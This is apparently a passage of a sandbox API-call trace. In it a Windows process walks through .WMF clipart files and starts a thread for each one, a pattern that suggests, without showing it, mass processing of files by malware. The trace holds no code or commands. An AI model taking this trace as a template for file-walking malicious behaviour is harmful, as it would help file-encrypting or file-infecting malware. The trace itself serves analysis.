	[0241.562] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1720, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239965.WMF", cAlternateFileName="")) returned 1
	[0241.562] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.563] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f48d190, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd0
	[0241.565] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.565] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x154c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239967.WMF", cAlternateFileName="")) returned 1
	[0241.565] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.566] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd4
	[0241.567] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.568] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x13e8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239973.WMF", cAlternateFileName="")) returned 1
	[0241.568] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.569] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f497630, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dd8
	[0241.570] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.570] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xda0, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239975.WMF", cAlternateFileName="")) returned 1
	[0241.570] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.571] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49ad10, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1ddc
	[0241.572] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.573] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xcd8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0239997.WMF", cAlternateFileName="")) returned 1
	[0241.573] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.574] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de0
	[0241.575] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.576] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1df8, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240157.WMF", cAlternateFileName="")) returned 1
	[0241.576] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.577] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4fad90, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de4
	[0241.578] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.579] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xa410, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240175.WMF", cAlternateFileName="")) returned 1
	[0241.579] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.580] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f501b50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1de8
	[0241.742] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.743] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xdc4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240189.WMF", cAlternateFileName="")) returned 1
	[0241.743] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.744] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dec
	[0241.745] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.745] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1476, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0240291.WMF", cAlternateFileName="")) returned 1
	[0241.923] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.924] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df0
	[0241.925] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.926] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90da9400, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x90da9400, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x92e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241019.WMF", cAlternateFileName="")) returned 1
	[0241.926] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.927] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df4
	[0241.928] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.929] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9cc65600, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x9cc65600, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xa4e, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241037.WMF", cAlternateFileName="")) returned 1
	[0241.929] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.930] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1df8
	[0241.931] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.932] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa059dd00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa059dd00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x926, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241041.WMF", cAlternateFileName="")) returned 1
	[0241.932] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.933] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1dfc
	[0241.935] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.935] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa18b0a00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xa18b0a00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0xab2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241043.WMF", cAlternateFileName="")) returned 1
	[0241.935] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.936] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e00
	[0241.938] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.938] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb49dda00, ftCreationTime.dwHighDateTime=0x1be9cda, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xb49dda00, ftLastWriteTime.dwHighDateTime=0x1be9cda, nFileSizeHigh=0x0, nFileSizeLow=0x82a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241077.WMF", cAlternateFileName="")) returned 1
	[0241.939] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.939] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e04
	[0241.941] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.942] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd7c98900, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xd7c98900, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0xcbe, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241773.WMF", cAlternateFileName="")) returned 1
	[0241.942] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.943] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a1ad0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e08
	[0241.944] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.945] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdb5d1000, ftCreationTime.dwHighDateTime=0x1be9cdc, ftLastAccessTime.dwLowDateTime=0x660ca390, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdb5d1000, ftLastWriteTime.dwHighDateTime=0x1be9cdc, nFileSizeHigh=0x0, nFileSizeLow=0x7b2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0241781.WMF", cAlternateFileName="")) returned 1
	[0241.945] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.946] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a51b0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e0c
	[0241.947] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.948] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7938, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0250504.WMF", cAlternateFileName="")) returned 1
	[0241.948] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.948] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4a8890, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e10
	[0241.950] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.951] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x6958, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0250997.WMF", cAlternateFileName="")) returned 1
	[0241.951] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.952] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4abf70, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e14
	[0241.953] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0241.953] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1100c, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0251007.WMF", cAlternateFileName="")) returned 1
	[0241.953] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0241.954] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4af650, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e18
	[0242.015] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.016] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2f1d4200, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x2f1d4200, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xae2, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0252629.WMF", cAlternateFileName="")) returned 1
	[0242.016] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.017] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f475170, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e1c
	[0242.019] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.019] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f4c600, ftCreationTime.dwHighDateTime=0x1beb2f9, ftLastAccessTime.dwLowDateTime=0x5661b6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x46f4c600, ftLastWriteTime.dwHighDateTime=0x1beb2f9, nFileSizeHigh=0x0, nFileSizeLow=0xf56, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0252669.WMF", cAlternateFileName="")) returned 1
	[0242.019] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.020] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f47f610, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e20
	[0242.021] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.022] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe89b5600, ftCreationTime.dwHighDateTime=0x1bec0f4, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xe89b5600, ftLastWriteTime.dwHighDateTime=0x1bec0f4, nFileSizeHigh=0x0, nFileSizeLow=0xf6a, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0278702.WMF", cAlternateFileName="")) returned 1
	[0242.022] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.023] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f482cf0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e24
	[0242.024] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.025] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x4330, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0279644.WMF", cAlternateFileName="")) returned 1
	[0242.025] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.026] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f490870, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e28
	[0242.027] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.027] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x77652000, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x77652000, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x11dee, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0280468.WMF", cAlternateFileName="")) returned 1
	[0242.027] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.028] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f493f50, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e2c
	[0242.030] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.030] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x30398a00, ftCreationTime.dwHighDateTime=0x1bed30f, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x30398a00, ftLastWriteTime.dwHighDateTime=0x1bed30f, nFileSizeHigh=0x0, nFileSizeLow=0x94c4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281008.WMF", cAlternateFileName="")) returned 1
	[0242.030] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.031] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f49e3f0, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e30
	[0242.032] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.033] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdd40ff00, ftCreationTime.dwHighDateTime=0x1bed402, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xdd40ff00, ftLastWriteTime.dwHighDateTime=0x1bed402, nFileSizeHigh=0x0, nFileSizeLow=0xb5b4, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281243.WMF", cAlternateFileName="")) returned 1
	[0242.033] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.034] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b2d30, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e34
	[0242.035] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
	[0242.036] FindNextFileW (in: hFindFile=0x7c7b0, lpFindFileData=0x218cb10 | out: lpFindFileData=0x218cb10*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c757700, ftCreationTime.dwHighDateTime=0x1bee442, ftLastAccessTime.dwLowDateTime=0x660f04f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7c757700, ftLastWriteTime.dwHighDateTime=0x1bee442, nFileSizeHigh=0x0, nFileSizeLow=0x31dc, dwReserved0=0x72, dwReserved1=0x0, cFileName="J0281630.WMF", cAlternateFileName="")) returned 1
	[0242.036] VirtualAlloc (lpAddress=0x0, dwSize=0x2710, flAllocationType=0x1000, flProtect=0x4) returned 0x2750000
	[0242.036] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x13f451ef0, lpParameter=0x13f4b6410, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x1e38
	[0242.037] VirtualFree (lpAddress=0x2750000, dwSize=0x0, dwFreeType=0x8000) returned 1
